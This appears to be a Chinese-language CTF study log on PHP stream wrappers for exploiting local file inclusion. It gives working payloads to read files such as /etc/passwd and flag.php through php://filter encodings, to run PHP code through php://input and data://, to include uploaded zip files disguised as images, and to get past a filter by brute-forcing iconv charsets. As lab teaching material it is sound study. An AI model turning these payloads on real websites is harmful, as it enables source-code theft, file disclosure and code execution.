第五周日志-伪协议(3)

发布于:2025-03-28 ⋅ 阅读:(35) ⋅ 点赞:(0)

常见读取源码的file,php://filter和各种编码

还有执行php的 php://input和各种编码,data

在进行文件包含之前,先定位一下 Flag 文件的位置(这里可以使用工具扫)

or直接访问 /flag.php 文件,结果返回为空(因为不是 404,证明确实存在该文件):

尝试进行文件包含,直接包含 flag.php 的话,内容肯定会和我们直接访问一样,显示为空,所以我们需要对 flag.php 内容进行编码后再进行包含

1.file://协议

访问本地文件系统,在ctf中通常用来读取本地文件

路径+文件名

file:///etc/passwd

2.php://input:

php://input ,data://用来执行命令
 
1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
 
2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
php://filter,file://用来读取文件
 
3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

3.php://filter:存在字符过滤 

php://filter php中独有的协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;

filter:这个协议可以用来过滤一些东西;

不同的参数

read参数和resource参数,

当然还可以用write参数,这时我们可以通过指定写的方式来对文件进行一些改变;

(1)String Filters(字符串过滤器)

php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可
php://filter/string.toupper/resource=flag.php //转大写
php://filter/string.tolower/resource=flag.php //转小写
php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,

vs html只有标签会被去除,里面的文字不会删除【闭合了】


(2)Conversion Filters(转换过滤器)

php://filter/convert.base64-encode/resource=flag.php //base64加密读出
php://filter/convert.quoted-printable-encode/resource=flag.php 
convert.iconv.*:用法:


<input-encoding>和<output-encoding> 就是编码方式,有如下几种:

PHP: Supported Character Encodings - Manual

做成字典爆破:

/?filename=php://filter/convert.iconv.CP1252.UTF-32%2a/resource=flag.php

 

data://协议

php>=5.2.0

可以使用data://数据流封装器,以传递【相应格式】的数据

执行php代码:
data://text/plain, ???


http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>


zip:// & bzip:// & zlib:// 协议


可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名

payload:

php://filter/zlib.deflate|zlib.inflate/resource=flag.php        //zlib.deflate(压缩)|zlib.inflate(解压)
or
php://filter/bzip2.compress|bzip2.decompress/resource=flag.php   //bzip2.compress(压缩)|bzip2.decompress(解压)

or
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名]

(# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt


2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2


3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

iconv函数

完成各种字符集间的转换

$string = "XXXX";

iconv("utf8","gbk",$string)  //将字符串string 编码由utf8转变成gbk;

直接访问check.php这个文件里面的内容

/?filename=php://filter/convert.iconv.utf8.utf16/resource=check.php

 如果使用括号里面的编码参数会直接提示do not hack!

查看flag.php

注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php